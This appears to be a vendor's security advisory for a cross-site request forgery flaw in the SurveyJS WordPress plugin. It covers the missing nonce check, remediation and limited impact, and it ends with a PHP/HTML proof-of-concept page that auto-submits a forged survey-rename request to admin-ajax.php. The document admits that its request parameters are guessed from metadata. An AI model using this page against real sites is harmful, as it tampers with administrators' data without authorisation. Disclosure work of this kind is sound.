Atomic Edge analysis of CVE-2025-13194 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the SurveyJS WordPress plugin versions up to 2.5.2. The vulnerability allows unauthenticated attackers to rename surveys by tricking an authenticated administrator into performing a malicious action. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction and the limited impact on integrity.
Atomic Edge research identifies the root cause as missing nonce verification on the ‘SurveyJS_RenameSurvey’ AJAX action handler. WordPress AJAX handlers require a nonce (number used once) parameter to validate that requests originate from legitimate plugin pages. The plugin’s rename function likely checks user capabilities but fails to validate the nonce. This conclusion is inferred from the CWE-352 classification and the vulnerability description, as no source code is available for confirmation.
Exploitation requires an attacker to craft a malicious webpage containing a forged HTTP request. When a logged-in administrator visits this page, the request automatically submits to the WordPress AJAX endpoint. The request targets /wp-admin/admin-ajax.php with the POST parameter action set to ‘SurveyJS_RenameSurvey’. Additional POST parameters likely include ‘survey_id’ and ‘new_name’. The attacker must lure the victim to the malicious page, typically via a phishing link.
Remediation requires adding proper nonce verification to the vulnerable AJAX handler. The patched version (2.5.3) should include a wp_verify_nonce() check before processing the rename operation. The nonce should be generated on the plugin’s admin page using wp_create_nonce() and included in the AJAX request. This standard WordPress security practice ensures requests originate from authenticated plugin pages.
The impact is limited to unauthorized renaming of surveys. This action disrupts survey management and could cause confusion or data misalignment if surveys are referenced by name elsewhere. The vulnerability does not allow survey deletion, content modification, or privilege escalation. Attackers cannot directly access or exfiltrate survey data through this flaw alone.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13194 - SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity <= 2.5.2 - Cross-Site Request Forgery to Survey Renaming
<?php
/**
* Proof of Concept for CVE-2025-13194
* Assumptions based on vulnerability description:
* 1. AJAX endpoint: /wp-admin/admin-ajax.php
* 2. Action parameter: 'SurveyJS_RenameSurvey'
* 3. Requires administrator session (CSRF)
* 4. Likely parameters: survey_id, new_name
* 5. No nonce verification in vulnerable versions
*
* This script generates an HTML page that auto-submits a forged rename request.
* Victim must be logged into WordPress as an administrator.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Assuming attacker knows or guesses a valid survey ID
$survey_id = 1;
$new_name = 'Hacked_Survey_' . time();
?>
<!DOCTYPE html>
<html>
<head>
<title>SurveyJS CSRF PoC</title>
</head>
<body>
<h2>Atomic Edge Research - CVE-2025-13194 PoC</h2>
<p>If you are a logged-in administrator, the survey rename request will auto-submit.</p>
<form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
<input type="hidden" name="action" value="SurveyJS_RenameSurvey">
<input type="hidden" name="survey_id" value="<?php echo (int)$survey_id; ?>">
<input type="hidden" name="new_name" value="<?php echo htmlspecialchars($new_name); ?>">
<!-- Additional parameters may exist but are unknown without code -->
<input type="submit" value="Submit Request">
</form>
<script>
// Auto-submit the form after page load
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('csrf_form').submit();
});
</script>
</body>
</html>
